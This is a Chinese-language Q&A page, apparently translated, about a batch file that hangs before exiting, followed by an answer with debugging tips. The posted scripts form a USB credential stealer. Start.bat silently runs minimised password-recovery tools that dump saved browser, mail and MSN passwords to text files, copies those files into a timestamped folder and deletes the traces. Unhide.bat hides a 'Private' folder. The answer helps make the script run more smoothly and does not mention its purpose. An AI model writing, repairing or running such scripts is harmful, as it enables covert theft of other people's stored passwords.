为什么我的批处理文件在强制退出前 46 秒没有执行任何操作?

为什么我的批处理文件在强制退出前 46 秒没有执行任何操作?

我已经弄清楚代码的哪部分正在执行此操作,但不知道如何修复它......这是代码:

Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
) 

批处理在执行后立即执行了它应执行的操作,但是 cmd 窗口保持打开状态 46 秒然后退出(因为我执行了 taskkill /IM cmd.exe)。

请帮忙!

附言:如果你想让我发布所有代码(代码很多),我会的。我可能解释不清,但我会尽力的。

全部代码如下:

  1. 我启动了 Pre-Unhide.bat(这里没有问题)

    @echo off
    
    cd /d %~d0\ 
    cd SwIPer
    start /min Start.bat
    
    cd..
    
    call Unhide.bat
    
  2. Start.bat是这样的:

    @echo off
    
    for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO (
    set CUR_DAY_OF_WEEK=%%i
    set CUR_MONTH=%%j
    set CUR_DAY=%%k
    set CUR_YEAR=%%l)
    
    for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO (
    set CUR_HOUR=%%i
    set CUR_MIN=%%j
    set AM_PM=%%k)
    
    cd /d %~d0\ 
    cd %~d0\SwIPer
    md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    
    start /min iepv /stext IExplorer.txt
    start /min mailpv /stext Mail.txt
    start /min mspass /stext MSN.txt
    start /min WebBrowserPassView /stext AllBrowsers.txt
    echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    del IExplorer.txt
    del Mail.txt
    del MSN.txt
    del AllBrowsers.txt
    
  3. 然后 Pre-Unhide.bat 继续调用 Unhide.bat

    @echo off
    
    Set _Path=Private
    For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
    If "%_Attribs:~4,1%"=="H" (
    Attrib -S -H "%_Path%"
    Attrib /D /S -S -H "%_Path%"\*.*
    ) Else (
    Attrib +S +H "%_Path%"
    Attrib /D /S +S +H "%_Path%"\*.*
    )
    

(然后添加了这个,因为我想让它强制退出,但它仍然等待 46 秒才能强制退出)

    taskkill /IM cmd.exe

非常感谢您的帮助:)谢谢。

答案1

首先注释您的代码。这样更容易理解您想要实现的目标。如果需要,请在代码的每个步骤中使用暂停命令进行调试。

尝试以下操作:在 Pre-Unhide.bat 中,将 /wait 开关添加到“start /min start.bat” - 因此“start /min /wait start.bat”。这将使 preunhide 等待 start 完成后再调用 unhide.bat。有关 Start 和其他 CMD 命令的更多信息,请参阅此链接::http://ss64.com/nt/

将 exit 添加为 start.bat 的最后一行代码。这将关闭 start.bat,以便 preunhide 可以调用 unhide.bat。您也可以将其添加为 unhide 的最后一行。

还建议您使用 ROBOCOPY 而不是 XCOPY。

相关内容